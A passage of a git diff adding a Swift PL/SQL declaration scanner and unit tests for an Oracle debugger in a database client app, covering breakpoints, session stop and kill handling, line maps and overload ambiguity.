.unit(.body), .subprogram(_, _, .body), .block(_, .body), .caseExpression, .loop: + readBodyToken() + } + } + } + + // PACKAGE [BODY] name IS | TYPE BODY name IS | TRIGGER ... ; a standalone PROCEDURE or FUNCTION is read as + // a subprogram. + mutating func readUnitHeader() { + guard let first = current else { return } + if first.isWord("CREATE") { + while let token = current, !token.isWord("PACKAGE", "PROCEDURE", "FUNCTION", "TYPE", "TRIGGER") { + position += 1 + } + } + guard let head = current else { return } + if head.isWord("PACKAGE", "TYPE") { + while let token = current, !token.isWord("IS", "AS") { position += 1 } + position += 1 + stack.append(.unit(.declare)) + } else if head.isWord("TRIGGER") { + while let token = current, !token.isWord("DECLARE", "BEGIN", "COMPOUND") { position += 1 } + } + } + + mutating func readSubprogramHeader() { + guard let keyword = current else { return } + position += 1 + guard let nameToken = current, nameToken.isName else { return } + position += 1 + let index = subprograms.count + var subprogram = Subprogram( + name: nameToken.text, + headerLine: keyword.line, + endLine: nil, + parent: currentSubprogram, + isDefinition: false + ) + subprogram.depth = subprogramDepth + 1 + subprograms.append(subprogram) + // From the header line: the first stop is there, with the parameters already bound. + let block = openBlock(at: keyword.line) + if current?.isSymbol("(") == true { + readParameters(of: index, block: block) + } + var depth = 0 + while let token = current { + if token.isSymbol("(") { depth += 1 } + if token.isSymbol(")") { depth -= 1 } + if depth == 0, token.isSymbol(";") { + position += 1 + return + } + if depth == 0, token.isWord("IS", "AS") { + position += 1 + // `IS LANGUAGE C` / `AS EXTERNAL` bodies have no PL/SQL to step through. + if current?.isWord("LANGUAGE", "EXTERNAL") == true { + skipStatement() + return + } + subprograms[index].isDefinition = true + stack.append(.subprogram(index, block: block, .declare)) + return + } + position += 1 + } + } + + mutating func readParameters(of subprogram: Int, block: Int) { + position += 1 + var parts: [Token] = [] + var depth = 1 + while let token = current { + position += 1 + if token.isSymbol("(") { depth += 1 } + if token.isSymbol(")") { + depth -= 1 + if depth == 0 { + addParameter(parts, subprogram: subprogram, block: block) + return + } + } + if depth == 1, token.isSymbol(",") { + addParameter(parts, subprogram: subprogram, block: block) + parts = [] + continue + } + parts.append(token) + } + } + + mutating func addParameter(_ parts: [Token], subprogram: Int, block: Int) { + guard let name = parts.first, name.isName else { return } + var rest = parts.dropFirst() + while let mode = rest.first, mode.isWord("IN", "OUT", "NOCOPY") { rest = rest.dropFirst() } + let type = rest.prefix { !$0.isSymbol(":=") && !$0.isWord("DEFAULT") } + declarations.append(Declaration( + name: name.text, + isQuoted: name.kind == .quoted, + typeText: Self.typeText(type), + line: name.line, + kind: .parameter, + subprogram: subprogram, + block: block + )) + } + + mutating func readDeclaration() { + guard let token = current, let frame = stack.last else { return } + if token.isWord("BEGIN") { + position += 1 + switch frame { + case .unit: replaceTop(with: .unit(.body)) + case .subprogram(let index, let block, _): replaceTop(with: .subprogram(index, block: block, .body)) + case .block(let block, _): replaceTop(with: .block(block, .body)) + case .caseExpression, .loop: break + } + return + } + if token.isWord("END") { + closeFrame(at: token.line) + skipStatement() + return + } + if token.isWord("PROCEDURE", "FUNCTION") { + readSubprogramHeader() + return + } + // A type body's method prefixes. + if token.isWord("MEMBER", "STATIC", "CONSTRUCTOR", "MAP", "ORDER", "OVERRIDING", "FINAL", "INSTANTIABLE") { + position += 1 + return + } + if token.isWord("TYPE", "SUBTYPE", "CURSOR", "PRAGMA") || !token.isName { + skipStatement() + return + } + position += 1 + var isConstant = false + if current?.isWord("CONSTANT") == true { + isConstant = true + position += 1 + } + if current?.isWord("EXCEPTION") == true { + skipStatement() + return + } + var typeTokens: [Token] = [] + var depth = 0 + while let next = current { + if next.isSymbol("(") { depth += 1 } + if next.isSymbol(")") { depth -= 1 } + if depth == 0, next.isSymbol(";") || next.isSymbol(":=") || next.isWord("DEFAULT", "NOT") { break } + typeTokens.append(next) + position += 1 + } + declarations.append(Declaration( + name: token.text, + isQuoted: token.kind == .quoted, + typeText: Self.typeText(typeTokens[...]), + line: token.line, + kind: isConstant ? .constant : .variable, + subprogram: currentSubprogram, + block: currentBlock + )) + skipStatement() + } + + mutating func readBodyToken() { + guard let token = current else { return } + position += 1 + if token.isWord("BEGIN") { + stack.append(.block(openBlock(at: token.line), .body)) + } else if token.isWord("DECLARE") { + stack.append(.block(openBlock(at: token.line), .declare)) + } else if token.isWord("CASE") { + stack.append(.caseExpression) + } else if token.isWord("LOOP") { + stack.append(.loop(pendingLoopBlock)) + pendingLoopBlock = nil + } else if token.isWord("END") { + if current?.isWord("LOOP") == true { + position += 1 + if case .loop = stack.last { closeFrame(at: token.line) } + } else if current?.isWord("IF") == true { + position += 1 + } else if current?.isWord("CASE") == true { + position += 1 + popCase() + } else if case .caseExpression = stack.last { + stack.removeLast() + } else { + closeFrame(at: token.line) + skipStatement() + } + } else if token.isWord("FOR"), let name = current, name.isName, peekToken(at: 1)?.isWord("IN") == true { + let block = openBlock(at: name.line) + pendingLoopBlock = block + declarations.append(Declaration( + name: name.text, + isQuoted: name.kind == .quoted, + typeText: nil, + line: name.line, + kind: .iterator, + subprogram: currentSubprogram, + block: block + )) + } + } + + mutating func popCase() { + if case .caseExpression = stack.last { stack.removeLast() } + } + + mutating func closeFrame(at line: Int) { + guard let frame = stack.popLast() else { return } + switch frame { + case .subprogram(let index, let block, _): + subprograms[index].endLine = line + blocks[block].endLine = line + case .block(let block, _), .loop(let block?): + blocks[block].endLine = line + case .unit, .caseExpression, .loop(nil): + break + } + } + + mutating func openBlock(at line: Int) -> Int { + blocks.append(Block(startLine: line)) + return blocks.count - 1 + } + + mutating func replaceTop(with frame: Frame) { + stack.removeLast() + stack.append(frame) + } + + mutating func skipStatement() { + var depth = 0 + while let token = current { + position += 1 + if token.isSymbol("(") { depth += 1 } + if token.isSymbol(")") { depth -= 1 } + if depth <= 0, token.isSymbol(";") { return } + } + } + + static func typeText(_ tokens: ArraySlice) -> String? { + var text = "" + for token in tokens { + let piece = token.kind == .quoted ? "\"\(token.text)\"" : token.text + if text.isEmpty || token.isSymbol("(") || token.isSymbol(")") || token.isSymbol(",") + || token.isSymbol("%") || token.isSymbol(".") || text.hasSuffix("(") || text.hasSuffix("%") + || text.hasSuffix(".") { + text += piece + } else { + text += " " + piece + } + } + return text.isEmpty ? nil : text + } + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugSessionTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugSessionTests.swift new file mode 100644 index 0000000000..6994dd2cf9 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugSessionTests.swift @@ -0,0 +1,212 @@ +import Foundation +import os +@testable import TableProOracleCore +import Testing + +struct OracleDBMSDebugSessionTests { + private struct RefusedDelete: Error {} + + private typealias Statements = OracleDBMSDebugStatements + + private static let runCalc = OracleDebugUnit(owner: "PROBE", name: "RUN_CALC", kind: .procedure) + private static let invocationBlock = "BEGIN PROBE.RUN_CALC; END;" + private static let identity = OracleDebugSessionIdentity(sid: 42, serial: 7) + private static let anonymousFrame: [String?] = [nil, nil, "0", nil, "1", nil] + private static let runCalcFrame: [String?] = ["PROBE", "RUN_CALC", "1", "7", "3", nil] + // Lines 3, 5 and 7 have code. + private static let lineMap = payload(["0", "7", "A8"]) + + private static func payload(_ fields: [String?]) -> [String?] { + [OracleDebugPayload.encode(fields)] + } + + private static func event(terminated: Bool = false, line: Int? = nil, breakpoint: Int? = nil, frames: [[String?]] = []) -> [String?] { + let head: [String?] = [ + "0", + String(terminated ? Statements.Reason.knlExit : Statements.Reason.breakpoint), + terminated ? "1" : "0", + line.map(String.init), + breakpoint.map(String.init), + String(frames.count) + ] + return payload(head + frames.flatMap { $0 }) + } + + private static func isContinue(_ sql: String, flags: Int) -> Bool { + sql.contains("CONTINUE(l_info, \(flags),") + } + + // The routine's call waits until `ended` opens, as a target paused at the supervisor does, then fails with `endedWith`. + private func makeSession( + ended: Latch, + endedWith: any Error = OracleDebugError.server(code: 6_543, message: "ORA-06543"), + callEndWait: Duration = OracleDebugSupport.callEndWait, + supervisor respond: @escaping @Sendable (String) async throws -> [String?] + ) -> (OracleDBMSDebugSession, target: ScriptedChannel, supervisor: ScriptedChannel) { + let target = ScriptedChannel(rows: [[.string("42"), .string("7")]]) { sql in + guard sql == Self.invocationBlock else { return [] } + await ended.wait() + throw endedWith + } + let supervisor = ScriptedChannel { sql in + if Self.isContinue(sql, flags: Statements.BreakFlags.abortExecution) { + ended.open() + return Self.event(terminated: true) + } + return try await respond(sql) + } + let session = OracleDBMSDebugSession( + target: target, + supervisor: supervisor, + entryPoint: OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: Self.runCalc, subprogram: "RUN_CALC", subprogramID: 1), + overload: nil, + parameters: [], + result: nil + ), + invocation: OracleDebugStatements.Invocation(block: Self.invocationBlock, binds: []), + callEndWait: callEndWait, + notices: [] + ) + return (session, target, supervisor) + } + + // The target paused at the supervisor, then an answer the first stop read did not parse. The target is still + // paused, so Stop aborts it there, which needs no ALTER SYSTEM, and the run ends confirmed. + @Test func testStopAbortsATargetAFailedFirstStopLeftPaused() async throws { + let ended = Latch() + defer { ended.open() } + let (session, _, supervisor) = makeSession(ended: ended) { sql in + if sql.contains("SYNCHRONIZE") { return Self.event(line: 1, frames: [Self.anonymousFrame]) } + if sql.contains("GET_LINE_MAP") { return ["not a payload"] } + return [] + } + try await session.start(breakpoints: []) + await #expect(throws: OracleDebugError.unreadableAnswer) { _ = try await session.firstStop() } + + #expect(await session.stop() == .ended) + let sent = supervisor.sent + #expect(sent.contains { Self.isContinue($0, flags: Statements.BreakFlags.abortExecution) }) + #expect(!sent.contains { $0.contains("ALTER SYSTEM KILL") }) + } + + // The target's own connection failed as the abort reached it, so its call ended on this side only and the server + // session may still hold its locks: Stop kills it through the supervisor and cannot confirm the end. An ORA- error + // is the server's answer, which does confirm it. + @Test(arguments: [ + (OracleCoreError.connectionClosed, false), + (OracleCoreError.queryFailed("ORA-06543: PL/SQL: execution aborted"), true) + ]) + func testStopConfirmsTheEndOnlyFromTheServersAnswer(endedWith: OracleCoreError, serverAnswered: Bool) async throws { + let ended = Latch() + defer { ended.open() } + let (session, _, supervisor) = makeSession(ended: ended, endedWith: endedWith) { sql in + if sql.contains("GET_LINE_MAP") { return Self.lineMap } + if sql.contains("SYNCHRONIZE") { return Self.event(line: 1, frames: [Self.anonymousFrame]) } + if sql.contains("SET_BREAKPOINT(l_program, 3,") { return Self.payload(["0", "1"]) } + if Self.isContinue(sql, flags: Statements.BreakFlags.breakpointsOnly) { + return Self.event(line: 3, breakpoint: 1, frames: [Self.anonymousFrame, Self.runCalcFrame]) + } + return [] + } + try await session.start(breakpoints: []) + #expect(try await session.firstStop() == .paused(OracleDebugLocation(unit: Self.runCalc, line: 3))) + + let outcome = await session.stop() + #expect(outcome == (serverAnswered ? .ended : .unconfirmed(Self.identity))) + #expect(supervisor.sent.contains(where: { $0.hasPrefix("ALTER SYSTEM KILL SESSION '42,7'") }) == !serverAnswered) + } + + // The supervisor saw the routine end, but its call has not returned. A ROLLBACK would queue behind that call on + // the target with no bound, so the run ends unconfirmed instead. + @Test func testARunWhoseCallStillRunsEndsUnconfirmedWithoutQueueingARollback() async throws { + let ended = Latch() + defer { ended.open() } + let (session, target, _) = makeSession(ended: ended, callEndWait: .milliseconds(200)) { sql in + sql.contains("SYNCHRONIZE") ? Self.event(terminated: true) : [] + } + try await session.start(breakpoints: []) + + let stop = await finished(within: 5) { try await session.firstStop() } + #expect(stop == .failed(.stillRunning(Self.identity))) + #expect(!target.sent.contains("ROLLBACK")) + } + + // A delete the server refuses leaves the breakpoint set, so removing it again deletes it again. + @Test func testARefusedDeleteCanBeRetried() async throws { + let ended = Latch() + defer { ended.open() } + let refusals = OSAllocatedUnfairLock(initialState: 1) + let (session, _, supervisor) = makeSession(ended: ended) { sql in + if sql.contains("GET_LINE_MAP") { return Self.lineMap } + if sql.contains("SYNCHRONIZE") { return Self.event(line: 1, frames: [Self.anonymousFrame]) } + if sql.contains("SET_BREAKPOINT(l_program, 3,") { return Self.payload(["0", "1"]) } + if sql.contains("SET_BREAKPOINT(l_program, 5,") { return Self.payload(["0", "2"]) } + if Self.isContinue(sql, flags: Statements.BreakFlags.breakpointsOnly) { + return Self.event(line: 3, breakpoint: 1, frames: [Self.anonymousFrame, Self.runCalcFrame]) + } + if sql.contains("DELETE_BREAKPOINT(2)"), refusals.withLock({ left in defer { left -= 1 }; return left > 0 }) { + throw RefusedDelete() + } + return [] + } + try await session.start(breakpoints: [(unit: Self.runCalc, line: 5)]) + #expect(try await session.firstStop() == .paused(OracleDebugLocation(unit: Self.runCalc, line: 3))) + + await #expect(throws: (any Error).self) { try await session.removeBreakpoint(in: Self.runCalc, line: 5) } + try await session.removeBreakpoint(in: Self.runCalc, line: 5) + #expect(supervisor.sent.filter { $0.contains("DELETE_BREAKPOINT(2)") }.count == 2) + #expect(await session.stop() == .ended) + } + + // A call that failed on its own dropped connection is not a routine that raised an error and rolled back. + @Test func testACallWhoseConnectionDroppedIsReportedAsALostConnection() async { + let entryPoint = OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: Self.runCalc, subprogram: "RUN_CALC", subprogramID: 1), + overload: nil, + parameters: [], + result: nil + ) + func conclude(_ error: Error) async -> OracleDebugStop { + await OracleDebugSupport.conclude( + .failure(error), + stopped: false, + entryPoint: entryPoint, + target: ScriptedChannel(), + targetIdentity: Self.identity, + notice: { _ in } + ) + } + + guard case .failed(.connectionLost) = await conclude(OracleCoreError.connectionClosed) else { + Issue.record("a dropped connection read as the routine's own failure") + return + } + guard case .failed(.routineFailed) = await conclude(OracleCoreError.queryFailed("ORA-01476: divisor is equal to zero")) else { + Issue.record("the server's error did not read as the routine's failure") + return + } + } + + // A breakpoint sent at start on line 4 lands on line 5; the host never learns that and removes it by line 4. + @Test func testAStartBreakpointIsRemovedByTheLineItWasAskedFor() async throws { + let ended = Latch() + defer { ended.open() } + let (session, _, supervisor) = makeSession(ended: ended) { sql in + if sql.contains("GET_LINE_MAP") { return Self.lineMap } + if sql.contains("SYNCHRONIZE") { return Self.event(line: 1, frames: [Self.anonymousFrame]) } + if sql.contains("SET_BREAKPOINT(l_program, 3,") { return Self.payload(["0", "1"]) } + if sql.contains("SET_BREAKPOINT(l_program, 5,") { return Self.payload(["0", "2"]) } + if Self.isContinue(sql, flags: Statements.BreakFlags.breakpointsOnly) { + return Self.event(line: 3, breakpoint: 1, frames: [Self.anonymousFrame, Self.runCalcFrame]) + } + return [] + } + try await session.start(breakpoints: [(unit: Self.runCalc, line: 4)]) + #expect(try await session.firstStop() == .paused(OracleDebugLocation(unit: Self.runCalc, line: 3))) + + try await session.removeBreakpoint(in: Self.runCalc, line: 4) + #expect(supervisor.sent.contains { $0.contains("DELETE_BREAKPOINT(2)") }) + #expect(await session.stop() == .ended) + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugStatementsTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugStatementsTests.swift new file mode 100644 index 0000000000..4d95febef9 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugStatementsTests.swift @@ -0,0 +1,134 @@ +import Foundation +@testable import TableProOracleCore +import Testing + +struct OracleDBMSDebugStatementsTests { + private typealias Statements = OracleDBMSDebugStatements + + // continue at the breakpoint on ADD_TAX line 6, called from RUN line 14 (the lane's measured stop). + @Test func testAPauseReadsTheRuntimeRecordAndTheBacktrace() throws { + let fields: [String?] = [ + "0", "3", "0", "6", "1", + "3", + nil, nil, "0", "0", "1", nil, + "PROBE", "PKG_CALC", "2", "11", "14", "RUN", + "PROBE", "PKG_CALC", "2", "11", "6", "ADD_TAX" + ] + let event = try Statements.event(fromPayload: fields) + #expect(event.isPause) + #expect(!event.timedOut) + #expect(event.reason == Statements.Reason.breakpoint) + #expect(event.line == 6) + #expect(event.breakpoint == 1) + #expect(event.backtrace.count == 3) + #expect(event.backtrace[0].unit == nil) + #expect(event.backtrace[2].unit == OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)) + #expect(event.backtrace[1].entryPoint == "RUN") + } + + @Test func testTerminationAndTimeoutCarryNoBacktrace() throws { + let ended = try Statements.event(fromPayload: ["0", "25", "1", nil, nil, "0"]) + #expect(ended.terminated) + #expect(!ended.isPause) + let waiting = try Statements.event(fromPayload: ["31", "2", "0", nil, nil, "0"]) + #expect(waiting.timedOut) + #expect(!waiting.isPause) + } + + @Test func testResumeUsesTheMeasuredBreakFlags() { + #expect(Statements.resume(flags: Statements.BreakFlags.anyReturn).contains("SYS.DBMS_DEBUG.CONTINUE(l_info, 512, 14)")) + #expect(Statements.resume(flags: Statements.BreakFlags.nextLine).contains("CONTINUE(l_info, 32, 14)")) + #expect(Statements.resume(flags: Statements.BreakFlags.anyCall).contains("CONTINUE(l_info, 12, 14)")) + #expect(Statements.resume(flags: Statements.BreakFlags.abortExecution).contains("CONTINUE(l_info, 8192, 14)")) + #expect(Statements.resume(flags: nil).contains("SYS.DBMS_DEBUG.SYNCHRONIZE(l_info, 14)")) + // Asking a terminated program for its backtrace raises inside SYS.PBREAK. + #expect(Statements.resume(flags: nil).contains("IF l_status = 0 AND NVL(l_info.Terminated, 0) = 0 THEN")) + } + + // The target aborts itself when the supervisor goes quiet; without this a crashed app left it in `pipe get`. + @Test func testTheTargetAbortsOnTimeoutAndIsPinged() { + let setup = Statements.targetSetup(debugID: "TPX") + #expect(setup.binds == [.text("TPX")]) + #expect(setup.block.contains("SET_TIMEOUT_BEHAVIOUR(3)")) + #expect(setup.block.contains("SET_TIMEOUT(30)")) + #expect(setup.block.contains("'CALL SYS.DBMS_DEBUG.DEBUG_ON()'")) + #expect(Statements.pingIntervalSeconds * 2 < Statements.targetTimeoutSeconds) + #expect(Statements.supervisorTimeoutSeconds < Statements.pingIntervalSeconds) + } + + // GET_LINE_MAP for PROBE.PKG_CALC's body answered maxline 22 and EEFF3F. + @Test func testTheMeasuredLineMapDecodes() throws { + #expect(Statements.executableLines(hexMap: "EEFF3F", maxLine: 22) + == [1, 2, 3, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21]) + #expect(try Statements.executableLines(fromPayload: ["0", "8", "FE"]) == [1, 2, 3, 4, 5, 6, 7]) + #expect(try Statements.executableLines(fromPayload: ["16", nil, nil]) == nil) + } + + @Test func testValueStatusesMapToValues() throws { + let answers = try Statements.valueAnswers(fromPayload: ["0", "1", "32", nil, "18", nil, "3", nil, "40", nil], count: 5) + #expect(answers.map { Statements.value(status: $0.status, text: $0.value) } == [ + .scalar("1"), .scalar(nil), .collection(count: nil), nil, .scalar(nil) + ]) + } + + // Read before DEBUG_ON: the target's SID and SERIAL#, which Stop needs to end a routine running between breakpoints. + @Test func testTheTargetSessionIsIdentifiedForAKill() { + #expect(Statements.sessionIdentity(fromRow: ["213", "28648", "2"]) + == OracleDebugSessionIdentity(sid: 213, serial: 28_648, instance: 2)) + #expect(Statements.sessionIdentity(fromRow: ["213", nil, "1"]) == OracleDebugSessionIdentity(sid: 213, serial: nil, instance: 1)) + #expect(Statements.sessionIdentity(fromRow: [nil, nil, "1"]) == nil) + #expect(Statements.killSession(OracleDebugSessionIdentity(sid: 213, serial: 28_648)) + == "ALTER SYSTEM KILL SESSION '213,28648' IMMEDIATE") + #expect(Statements.killSession(OracleDebugSessionIdentity(sid: 213, serial: 28_648, instance: 2)) + == "ALTER SYSTEM KILL SESSION '213,28648,@2' IMMEDIATE") + #expect(Statements.sessionIdentityQueries.allSatisfy { $0.contains("SYS_CONTEXT('USERENV', 'INSTANCE')") }) + #expect(Statements.killSession(OracleDebugSessionIdentity(sid: 213, serial: nil)) == nil) + #expect(Statements.sessionIdentityQueries.first?.contains("DBMS_DEBUG_JDWP.CURRENT_SESSION_SERIAL") == true) + } + + @Test func testBreakpointsAndValuesQuoteNames() { + let unit = OracleDebugUnit(owner: "PROBE", name: "O'NEIL", kind: .packageBody) + let set = Statements.setBreakpoint(unit: unit, line: 6) + #expect(set.contains("l_program.Namespace := 2;")) + #expect(set.contains("l_program.Name := 'O''NEIL';")) + #expect(set.contains("SET_BREAKPOINT(l_program, 6, l_number)")) + let values = Statements.values([ + .init(name: "P_AMOUNT", frame: 0), + .init(name: "G_RATE", package: OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)) + ]) + #expect(values.block.contains("GET_VALUE(:1, 0, l_value, NULL)")) + #expect(values.block.contains("GET_VALUE(:2, l_handle, l_value, NULL)")) + #expect(values.binds == [.text("P_AMOUNT"), .text("G_RATE")]) + #expect(Statements.deleteBreakpoints([]).contains("NULL;")) + } + + // A quoted declaration is asked for quoted, so GET_VALUE reads one identifier, and the name stays a bind. + @Test func testQuotedVariableNamesAreBoundQuoted() { + let scan = OraclePLSQLDeclarationScan(source: """ + procedure p is + "a.b" number; + "lower" number; + "with space" number; + l_plain number; + begin + null; + end p; + """) + let requests = scan.candidates(atLine: 7).map { Statements.ValueRequest(name: $0.lookupName, frame: 0) } + let values = Statements.values(requests) + #expect(values.binds == [.text("\"a.b\""), .text("\"lower\""), .text("\"with space\""), .text("L_PLAIN")]) + #expect(values.block.contains("GET_VALUE(:4, 0, l_value, NULL)")) + #expect(!values.block.contains("a.b") && !values.block.contains("lower") && !values.block.contains("L_PLAIN")) + } + + // Every block that declares the payload helpers declares them last: PL/SQL wants items before subprograms. + @Test func testPayloadHelpersComeLastInEachDeclareSection() throws { + let unit = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody) + for block in [Statements.resume(flags: 0), Statements.setBreakpoint(unit: unit, line: 1), + Statements.lineMap(of: unit), Statements.values([.init(name: "X", frame: 0)]).block] { + let helper = try #require(block.range(of: "PROCEDURE put")) + let lastDeclaration = try #require(block.range(of: "l_status BINARY_INTEGER;")) + #expect(lastDeclaration.lowerBound < helper.lowerBound) + } + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugLauncherTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugLauncherTests.swift new file mode 100644 index 0000000000..c787e632a0 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugLauncherTests.swift @@ -0,0 +1,74 @@ +import Foundation +import os +@testable import TableProOracleCore +import Testing + +struct OracleDebugLauncherTests { + private let entryPoint = OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "F_CALC", kind: .function), subprogram: "F_CALC", subprogramID: 1), + overload: nil, + parameters: [OracleDebugParameter(name: "P_A", position: 1, dataType: "NUMBER", mode: .input, hasDefault: false)], + result: OracleDebugParameter(name: "", position: 0, dataType: "NUMBER", mode: .output, hasDefault: false) + ) + + private func launch(_ preference: OracleDebugProtocolPreference) -> OracleDebugLaunch { + OracleDebugLaunch( + entryPoint: entryPoint, + arguments: ["P_A": .text("1")], + breakpoints: [], + preference: preference, + debuggerHost: "127.0.0.1", + ports: 47_300...47_399, + databaseHost: "127.0.0.1", + databasePort: 1_521 + ) + } + + // A start the host cancelled opens nothing, so no target is left waiting. + @Test func testACancelledStartOpensNoSession() async { + let opened = OSAllocatedUnfairLock(initialState: 0) + let task = Task { + withUnsafeCurrentTask { $0?.cancel() } + return try await OracleDebugLauncher.launch(launch(.dbmsDebug)) { + opened.withLock { $0 += 1 } + return OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x")) + } + } + await #expect(throws: CancellationError.self) { _ = try await task.value } + #expect(opened.withLock { $0 } == 0) + } + + @Test func testExplicitJDWPWithoutAHostIsRefusedBeforeAnySessionOpens() async { + let opened = OSAllocatedUnfairLock(initialState: 0) + let empty = OracleDebugLaunch( + entryPoint: entryPoint, + arguments: ["P_A": .text("1")], + breakpoints: [], + preference: .jdwp, + debuggerHost: "", + ports: 47_300...47_399, + databaseHost: "127.0.0.1", + databasePort: 1_521 + ) + await #expect(throws: OracleDebugError.jdwp(.noDebuggerHost)) { + _ = try await OracleDebugLauncher.launch(empty) { + opened.withLock { $0 += 1 } + return OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x")) + } + } + #expect(opened.withLock { $0 } == 0) + } + + // Cancelled while the database has not connected back: the wait ends at once rather than at the 15 s deadline. + @Test func testCancellingWhileWaitingForTheDatabaseEndsTheWait() async { + let task = Task { + try await OracleDebugLauncher.launch(launch(.jdwp)) { + OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x")) + } + } + let started = ContinuousClock.now + task.cancel() + await #expect(throws: (any Error).self) { _ = try await task.value } + #expect(ContinuousClock.now - started < .seconds(10)) + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugOverloadAmbiguityTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugOverloadAmbiguityTests.swift new file mode 100644 index 0000000000..2c0c89ac4d --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugOverloadAmbiguityTests.swift @@ -0,0 +1,91 @@ +import Foundation +import os +@testable import TableProOracleCore +import Testing + +struct OracleDebugOverloadAmbiguityTests { + private let package = OracleDebugUnit(owner: "PROBE", name: "PKG_OVER", kind: .packageBody) + + private func overload( + _ id: Int, + _ parameters: [OracleDebugParameter], + returns result: String? = nil, + named subprogram: String = "P" + ) -> OracleDebugEntryPoint { + OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: package, subprogram: subprogram, subprogramID: id), + overload: String(id), + parameters: parameters, + result: result.map { OracleDebugParameter(name: "", position: 0, dataType: $0, mode: .output, hasDefault: false) } + ) + } + + private func parameter(_ name: String, _ type: String, defaulted: Bool, mode: OracleDebugParameter.Mode = .input) -> OracleDebugParameter { + OracleDebugParameter(name: name, position: 1, dataType: type, mode: mode, hasDefault: defaulted) + } + + // p(x NUMBER DEFAULT 1) and p(x VARCHAR2 DEFAULT 'a'): `p()` matches both (PLS-00307), so X needs a value. + @Test func testLeavingTheOnlyDistinguishingParameterAtItsDefaultNeedsAValue() { + let number = overload(1, [parameter("X", "NUMBER", defaulted: true)]) + let text = overload(2, [parameter("X", "VARCHAR2", defaulted: true)]) + let both = [number, text] + #expect(OracleDebugStatements.ambiguity(of: number, arguments: ["X": .defaultValue], overloads: both) == .needsValue(["X"])) + #expect(OracleDebugStatements.ambiguity(of: text, arguments: [:], overloads: both) == .needsValue(["X"])) + #expect(OracleDebugStatements.ambiguity(of: number, arguments: ["X": .text("5")], overloads: both) == nil) + #expect(OracleDebugStatements.ambiguity(of: number, arguments: ["X": .null], overloads: both) == nil) + } + + // p(a NUMBER) and p(a NUMBER, b VARCHAR2 DEFAULT 'x'): with B left out the second is `p(a => 1)`, which the first + // matches too; the first can never be called unambiguously. + @Test func testAnOverloadWhoseCallTheOtherAlwaysMatchesIsUnresolvable() { + let short = overload(1, [parameter("A", "NUMBER", defaulted: false)]) + let long = overload(2, [parameter("A", "NUMBER", defaulted: false), parameter("B", "VARCHAR2", defaulted: true)]) + let both = [short, long] + #expect(OracleDebugStatements.ambiguity(of: long, arguments: ["A": .text("1")], overloads: both) == .needsValue(["B"])) + #expect(OracleDebugStatements.ambiguity(of: long, arguments: ["A": .text("1"), "B": .text("y")], overloads: both) == nil) + #expect(OracleDebugStatements.ambiguity(of: short, arguments: ["A": .text("1")], overloads: both) == .unresolvable) + } + + @Test func testOverloadsTheCallCannotMatchAreNotAmbiguous() { + let number = overload(1, [parameter("X", "NUMBER", defaulted: true)]) + let needsZ = overload(2, [parameter("X", "VARCHAR2", defaulted: true), parameter("Z", "DATE", defaulted: false)]) + let function = overload(3, [parameter("X", "VARCHAR2", defaulted: true)], returns: "NUMBER") + let otherName = overload(4, [parameter("X", "VARCHAR2", defaulted: true)], named: "Q") + let renamed = overload(5, [parameter("Y", "VARCHAR2", defaulted: true), parameter("W", "NUMBER", defaulted: false)]) + let all = [number, needsZ, function, otherName, renamed] + #expect(OracleDebugStatements.ambiguity(of: number, arguments: [:], overloads: all) == nil) + #expect(OracleDebugStatements.ambiguity(of: number, arguments: [:], overloads: [number]) == nil) + #expect(OracleDebugStatements.ambiguity(of: number, arguments: [:], overloads: []) == nil) + } + + // An OUT parameter is always passed, so it tells overloads apart by its declaration like any passed one. + @Test func testAPassedOutParameterOfAnotherTypeDistinguishesTheCall() { + let numberOut = overload(1, [parameter("R", "NUMBER", defaulted: false, mode: .output), parameter("X", "NUMBER", defaulted: true)]) + let textOut = overload(2, [parameter("R", "VARCHAR2", defaulted: false, mode: .output), parameter("X", "VARCHAR2", defaulted: true)]) + #expect(OracleDebugStatements.ambiguity(of: numberOut, arguments: [:], overloads: [numberOut, textOut]) == nil) + } + + @Test func testTheLauncherRefusesAnAmbiguousCallBeforeAnySessionOpens() async { + let number = overload(1, [parameter("X", "NUMBER", defaulted: true)]) + let text = overload(2, [parameter("X", "VARCHAR2", defaulted: true)]) + let opened = OSAllocatedUnfairLock(initialState: 0) + let launch = OracleDebugLaunch( + entryPoint: number, + arguments: ["X": .defaultValue], + breakpoints: [], + preference: .dbmsDebug, + debuggerHost: "127.0.0.1", + ports: 47_300...47_399, + databaseHost: "127.0.0.1", + databasePort: 1_521, + overloads: [number, text] + ) + await #expect(throws: OracleDebugError.ambiguousDefaults(subprogram: "P", parameters: ["X"])) { + _ = try await OracleDebugLauncher.launch(launch) { + opened.withLock { $0 += 1 } + return OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x")) + } 